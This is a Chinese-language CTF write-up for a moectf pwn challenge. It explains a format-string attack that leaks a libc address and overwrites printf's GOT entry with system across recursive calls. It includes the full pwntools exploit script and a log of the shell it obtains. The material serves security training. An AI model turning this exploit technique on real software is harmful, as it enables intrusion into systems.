本文为人工撰写,仅使用生成式AI校对。

题目链接

ELF没有开启PIE。

反编译:

int __fastcall main(int argc, const char **argv, const char **envp)
{
  char s[24]; // [rsp+0h] [rbp-20h] BYREF
  unsigned __int64 v5; // [rsp+18h] [rbp-8h]

  v5 = __readfsqword(0x28u);
  init(argc, argv, envp);
  fgets(s, 6, stdin);
  printf(s);
  puts("Anyone who uses format strings should be punished!\nGo to hell!");
  hell(5LL);
  return 0;
}
unsigned __int64 __fastcall hell(int a1)
{
  char s[88]; // [rsp+10h] [rbp-60h] BYREF
  unsigned __int64 v3; // [rsp+68h] [rbp-8h]

  v3 = __readfsqword(0x28u);
  printf("You've reached the level %d of hell.\n", (unsigned int)a1);
  if ( a1 <= 30 )
  {
    fgets(s, a1, stdin);
    hell((unsigned int)(a1 + 11));
    if ( (unsigned int)pd(s, a1) )
      printf(s);
  }
  else
  {
    puts("You've been swallowed by hell.");
  }
  return v3 - __readfsqword(0x28u);
}
__int64 __fastcall pd(__int64 a1, unsigned __int64 a2)
{
  unsigned __int64 i; // [rsp+18h] [rbp-8h]

  for ( i = 0LL; i < a2; ++i )
  {
    if ( *(_BYTE *)(a1 + i) == 37 )
      return 1LL;
  }
  return 0LL;
}

注意到这里的fmt字符串是位于栈上的,所以我们可以在栈上自行构造/bin/sh和指针。

又注意到这里的递归是先从外到内构造fmt之后再从内到外执行,所以我们无法在内层泄露,需要我们使用main()的fmt来泄露libc。

观察栈:

00:0000│ rdi rsp 0x7fffffffd5f0 ◂— 0xa333231 /* '123\n' */
01:0008│-018     0x7fffffffd5f8 ◂— 0
02:0010│-010     0x7fffffffd600 ◂— 0
03:0018│-008     0x7fffffffd608 ◂— 0xbbcfd03b062d5700
04:0020│ rbp     0x7fffffffd610 ◂— 1
05:0028│+008     0x7fffffffd618 —▸ 0x7ffff7c29d90 ◂— mov edi, eax	<---在这里
06:0030│+010     0x7fffffffd620 ◂— 0
07:0038│+018     0x7fffffffd628 —▸ 0x4012fa (main) ◂— endbr64
08:0040│+020     0x7fffffffd630 ◂— 0x100000000
09:0048│+028     0x7fffffffd638 —▸ 0x7fffffffd728 —▸ 0x7fffffffd9fb ◂— '/path/to/pwn_patched'
0a:0050│+030     0x7fffffffd640 ◂— 0
0b:0058│+038     0x7fffffffd648 ◂— 0xcfb4384146873b72
0c:0060│+040     0x7fffffffd650 —▸ 0x7fffffffd728 —▸ 0x7fffffffd9fb ◂— '/path/to/pwn_patched'
0d:0068│+048     0x7fffffffd658 —▸ 0x4012fa (main) ◂— endbr64
0e:0070│+050     0x7fffffffd660 —▸ 0x403e00 (__do_global_dtors_aux_fini_array_entry) —▸ 0x401180 (__do_global_dtors_aux) ◂— endbr64
0f:0078│+058     0x7fffffffd668 —▸ 0x7ffff7ffd040 (_rtld_global) —▸ 0x7ffff7ffe2e0 ◂— 0
10:0080│+060     0x7fffffffd670 ◂— 0x304bc7beeac53b72
11:0088│+068     0x7fffffffd678 ◂— 0x304bd7c47c0d3b72
12:0090│+070     0x7fffffffd680 ◂— 0x7fff00000000
13:0098│+078     0x7fffffffd688 ◂— 0
... ↓            3 skipped
17:00b8│+098     0x7fffffffd6a8 ◂— 0xbbcfd03b062d5700
18:00c0│+0a0     0x7fffffffd6b0 ◂— 0
19:00c8│+0a8     0x7fffffffd6b8 —▸ 0x7ffff7c29e40 (__libc_start_main+128) ◂— mov r15, qword ptr [rip + 0x1f0159]
1a:00d0│+0b0     0x7fffffffd6c0 —▸ 0x7fffffffd738 —▸ 0x7fffffffda1e ◂— 'SHELL=/bin/bash'
1b:00d8│+0b8     0x7fffffffd6c8 —▸ 0x403e00 (__do_global_dtors_aux_fini_array_entry) —▸ 0x401180 (__do_global_dtors_aux) ◂— endbr64
1c:00e0│+0c0     0x7fffffffd6d0 —▸ 0x7ffff7ffe2e0 ◂— 0
1d:00e8│+0c8     0x7fffffffd6d8 ◂— 0

注意到0x7ffff7c29d90为main()的返回地址,main()会在libc中的__libc_start_main中调用后将其下一条汇编语句的地址写入main()的返回地址。

LEGEND: STACK | HEAP | CODE | DATA | WX | RODATA
             Start                End Perm     Size  Offset File (set vmmap-prefer-relpaths on)
          0x3fe000           0x3ff000 rw-p     1000       0 pwn_patched
          0x400000           0x401000 r--p     1000    2000 pwn_patched
          0x401000           0x402000 r-xp     1000    3000 pwn_patched
          0x402000           0x403000 r--p     1000    4000 pwn_patched
          0x403000           0x404000 r--p     1000    4000 pwn_patched
          0x404000           0x405000 rw-p     1000    5000 pwn_patched
    0x7ffff7c00000     0x7ffff7c28000 r--p    28000       0 libc.so.6	<---在这里
    0x7ffff7c28000     0x7ffff7dbd000 r-xp   195000   28000 libc.so.6
    0x7ffff7dbd000     0x7ffff7e15000 r--p    58000  1bd000 libc.so.6
    0x7ffff7e15000     0x7ffff7e16000 ---p     1000  215000 libc.so.6
    0x7ffff7e16000     0x7ffff7e1a000 r--p     4000  215000 libc.so.6
    0x7ffff7e1a000     0x7ffff7e1c000 rw-p     2000  219000 libc.so.6
    0x7ffff7e1c000     0x7ffff7e29000 rw-p     d000       0 [anon_7ffff7e1c]
    0x7ffff7fb8000     0x7ffff7fbd000 rw-p     5000       0 [anon_7ffff7fb8]
    0x7ffff7fbd000     0x7ffff7fc1000 r--p     4000       0 [vvar]
    0x7ffff7fc1000     0x7ffff7fc3000 r-xp     2000       0 [vdso]
    0x7ffff7fc3000     0x7ffff7fc5000 r--p     2000       0 ld-linux-x86-64.so.2
    0x7ffff7fc5000     0x7ffff7fef000 r-xp    2a000    2000 ld-linux-x86-64.so.2
    0x7ffff7fef000     0x7ffff7ffa000 r--p     b000   2c000 ld-linux-x86-64.so.2
    0x7ffff7ffb000     0x7ffff7ffd000 r--p     2000   37000 ld-linux-x86-64.so.2
    0x7ffff7ffd000     0x7ffff7fff000 rw-p     2000   39000 ld-linux-x86-64.so.2
    0x7ffffffdd000     0x7ffffffff000 rw-p    22000       0 [stack]

注意到返回地址0x7ffff7c29d90恰好处于libc.so.6的内存段。

偏移为0x7ffff7c29d90 - 0x7ffff7c00000 = 0x29d90。

反编译libc.so.6:

.text:0000000000029D10 ; =============== S U B R O U T I N E =======================================
.text:0000000000029D10
.text:0000000000029D10 ; Attributes: noreturn
.text:0000000000029D10
.text:0000000000029D10 ; void __fastcall __noreturn sub_29D10(unsigned int (__fastcall *)(_QWORD, __int64, char **), unsigned int, __int64)
.text:0000000000029D10 sub_29D10       proc near               ; CODE XREF: __libc_start_main+7B↓p
.text:0000000000029D10
.text:0000000000029D10 var_90          = qword ptr -90h
.text:0000000000029D10 var_84          = dword ptr -84h
.text:0000000000029D10 var_80          = qword ptr -80h
.text:0000000000029D10 var_78          = byte ptr -78h
.text:0000000000029D10 var_30          = qword ptr -30h
.text:0000000000029D10 var_28          = qword ptr -28h
.text:0000000000029D10 var_10          = qword ptr -10h
.text:0000000000029D10
.text:0000000000029D10 ; __unwind {
.text:0000000000029D10                 push    rax
.text:0000000000029D11                 pop     rax
.text:0000000000029D12                 sub     rsp, 98h
.text:0000000000029D19                 mov     [rsp+98h+var_90], rdi
.text:0000000000029D1E                 lea     rdi, [rsp+98h+var_78] ; env
.text:0000000000029D23                 mov     [rsp+98h+var_84], esi
.text:0000000000029D27                 mov     [rsp+98h+var_80], rdx
.text:0000000000029D2C                 mov     rax, fs:28h
.text:0000000000029D35                 mov     [rsp+98h+var_10], rax
.text:0000000000029D3D                 xor     eax, eax
.text:0000000000029D3F                 call    _setjmp
.text:0000000000029D44                 endbr64
.text:0000000000029D48                 test    eax, eax
.text:0000000000029D4A                 jnz     short loc_29D97
.text:0000000000029D4C                 mov     rax, fs:300h
.text:0000000000029D55                 mov     [rsp+98h+var_30], rax
.text:0000000000029D5A                 mov     rax, fs:2F8h
.text:0000000000029D63                 mov     [rsp+98h+var_28], rax
.text:0000000000029D68                 lea     rax, [rsp+98h+var_78]
.text:0000000000029D6D                 mov     fs:300h, rax
.text:0000000000029D76                 mov     rax, cs:environ_ptr
.text:0000000000029D7D                 mov     edi, [rsp+98h+var_84]
.text:0000000000029D81                 mov     rsi, [rsp+98h+var_80]
.text:0000000000029D86                 mov     rdx, [rax]
.text:0000000000029D89                 mov     rax, [rsp+98h+var_90]
.text:0000000000029D8E                 call    rax
.text:0000000000029D90                 mov     edi, eax		<---在这里
.text:0000000000029D92
.text:0000000000029D92 loc_29D92:                              ; CODE XREF: sub_29D10+AA↓j
.text:0000000000029D92                 call    exit

到这里已经可以做题了,暂不继续深究。

我们可以泄露main()的返回地址来获取libc.so.6的基址来构造fmt。

当我们有了libc.so.6的基址,并且ELF没有开启PIE的情况下,我们可以着手准备修改GOT表了。

但我们缺少指向GOT表的指针,但是fmt是在栈上,可以在第二次递归时输入指针,并在第三次递归时fmt通过指针修改GOT。

选择修改printf()的GOT表,他是hell()三次递归后遇到的第一个plt函数,并且其参数恰好是fgets()写入的栈,我们可以在此写入/bin/sh参数。

libc.so.6中printf偏移为0x606F0,而system()偏移为0x50D70,我们需要修改至少两个字节:(。

fgets(buf, n, stdin)最多读取n - 1字节,然后在后面添加\0。

如果程序使用fgets(),务必严格构造字符串并考虑其长度和末尾,防止下一次的fgets()读取到上次的输入!

Exp:

from pwn import *
import ctypes
import shutil
import logging

pwndbg = shutil.which("pwndbg")
context(arch='amd64', os='linux', log_level='debug')
io = connect("127.0.0.1" ,58487)

io.send(b'%11$p')
io.recvuntil(b'0x')
retAdd = io.recv(12)
print(retAdd)
retAdd = int(retAdd, 16)
print(f"retAdd:{hex(retAdd)}")

libcAdd = retAdd -  0x29d90
print(f"libcAdd:{hex(libcAdd)}")

sysAdd = libcAdd + 0x50d70
print(f"sysAdd:{hex(sysAdd)}")

gotAdd = 0x404018

io.recvuntil(b'hell.\n');
io.send(b'sh\x00%')

io.recvuntil(b'hell.\n');
io.send(p64(gotAdd) + p64(gotAdd + 2)[:7])

low2 = sysAdd & 0xffff
low4 = (sysAdd >> 16) & 0xffff


io.recvuntil(b'hell.\n')
if(low2 > low4):
    io.send(f"%{low4}c%25$hn%{low2 - low4}c%24$hn\n".encode())
else:
    io.send(f"%{low2}c%24$hn%{low4 - low2}c%25$hn\n".encode())

io.interactive()

输出:

[x] Opening connection to 127.0.0.1 on port 58487
[x] Opening connection to 127.0.0.1 on port 58487: Trying 127.0.0.1
[+] Opening connection to 127.0.0.1 on port 58487: Done
[DEBUG] Sent 0x5 bytes:
    b'%11$p'
[DEBUG] Received 0x71 bytes:
    b'0x7efdab61cd90Anyone who uses format strings should be punished!\n'
    b'Go to hell!\n'
    b"You've reached the level 5 of hell.\n"
b'7efdab61cd90'
retAdd:0x7efdab61cd90
libcAdd:0x7efdab5f3000
sysAdd:0x7efdab643d70
[DEBUG] Sent 0x4 bytes:
    00000000  73 68 00 25                                         │sh·%│
    00000004
[DEBUG] Received 0x25 bytes:
    b"You've reached the level 16 of hell.\n"
[DEBUG] Sent 0xf bytes:
    00000000  18 40 40 00  00 00 00 00  1a 40 40 00  00 00 00     │·@@·│····│·@@·│···│
    0000000f
[DEBUG] Received 0x25 bytes:
    b"You've reached the level 27 of hell.\n"
[DEBUG] Sent 0x1b bytes:
    b'%15728c%24$hn%28148c%25$hn\n'
[*] Switching to interactive mode
[DEBUG] Received 0x25 bytes:
    b"You've reached the level 38 of hell.\n"
You've reached the level 38 of hell.
[DEBUG] Received ...
$ ls
[DEBUG] Sent ...
[DEBUG] Received ...
bin
flag
lib
lib32
lib64
libexec
libx32
pwn
$ cat flag
[DEBUG] Sent ...
[DEBUG] Received ...
moectf{THIS_IS_FLAG}
[*] Interrupted
[*] Closed connection to 127.0.0.1 port 58487